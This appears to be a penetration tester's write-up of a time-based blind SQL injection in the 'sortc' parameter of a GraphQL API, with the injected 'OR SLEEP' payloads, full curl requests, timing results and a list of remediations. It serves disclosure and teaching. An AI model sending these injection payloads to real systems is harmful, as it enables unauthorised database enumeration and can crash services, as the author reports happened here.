Time-Based Blind SQL Injection In GraphQL
I have heard a lot about GraphQL but never got time to understand due to time constraints. Recently, I got an application to pentest with API in GraphQL. After testing for some time, I was able to find time-based blind SQL injection. We will assume website as http://example.com
Summary
The “sortc” parameter in the http://example.com/api/graphql endpoint was vulnerable to a SQL injection. This allowed an attacker to extract information from the public and secure schema.
There might be other parameters which are vulnerable to SQL Injection.
Impact
Blind SQL injection works by performing a time-based query and then returning back the result after the given time, indicating successful SQL query executing. Using this method, an attacker enumerates which schema is used or which database is used.
The attacker then tries to determine when his query returns True or False, then he may fingerprint the RDBMS. This will make the whole attack much easier. If the time-based approach is used, this helps determine what type of database is in use. Another popular method to do this is to call functions which will return the current date. MySQL, MSSQL, and Oracle have different functions for that, respectively now(), getdate(), and sysdate().
Proof Of Concept
1) Login to the website.
2) Intercept the following request: http://example.com/api/graphql
3) In the request body, add “OR SLEEP(20)” in sortc
Request:
{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}
4) Wait for some time and check the delay in response from server
5) In this case, the database crashed afterwards. So I reported the vulnerability without further enumeration.
Via CURL:
1) Run curl command with time and check the response time, sleep(2):
time curl -i -s -k -X $'POST' \
-H $'Host: example.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://example.com/dashboard' -H $'content-type: application/json' -H $'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' -H $'Origin: http://example.com' -H $'Content-Length: 662' -H $'DNT: 1' -H $'Connection: close' \
--data-binary $'{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name OR SLEEP(2)","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}' \
$'http://example.com/api/graphql'Response time:
- real 0m4.191s
- user 0m0.006s
- sys 0m0.011s
2) Run curl command with time and check the response time, sleep(10):
time curl -i -s -k -X $'POST' \
-H $'Host: example.com' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://example.com/dashboard' -H $'content-type: application/json' -H $'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' -H $'Origin: http://example.com' -H $'Content-Length: 663' -H $'DNT: 1' -H $'Connection: close' \
--data-binary $'{"operationName":"pages","variables":{"offset":0,"limit":10,"sortc":"name OR SLEEP(10)","sortrev":false},"query":"query pages($offset: Int!, $limit: Int!, $sortc: String, $sortrev: Boolean) {\n pages(offset: $offset, limit: $limit, sortc: $sortColumn, sortReverse: $sortReverse) {\n id\n n\n __typen\n }\n me {\n firstN\n lastN\n usern\n __typen\n }\n components {\n title\n __typen\n }\n templates {\n title\n __typen\n }\n fonts {\n n\n __typen\n }\n partners {\n id\n n\n banners {\n n\n __typen\n }\n __typen\n }\n}\n"}' \
$'http://example.com/api/graphql'Response time:
- real 0m20.220s
- user 0m0.006s
- sys 0m0.006s
Workaround Solution
- Use of Prepared Statements (with Parameterized Queries)
- Use of Stored Procedures.
- Whitelist Input Validation.
- Escaping all User Supplied Input
- Enforcing the Least Privilege
Reference
https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e
https://hackerone.com/reports/435066
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

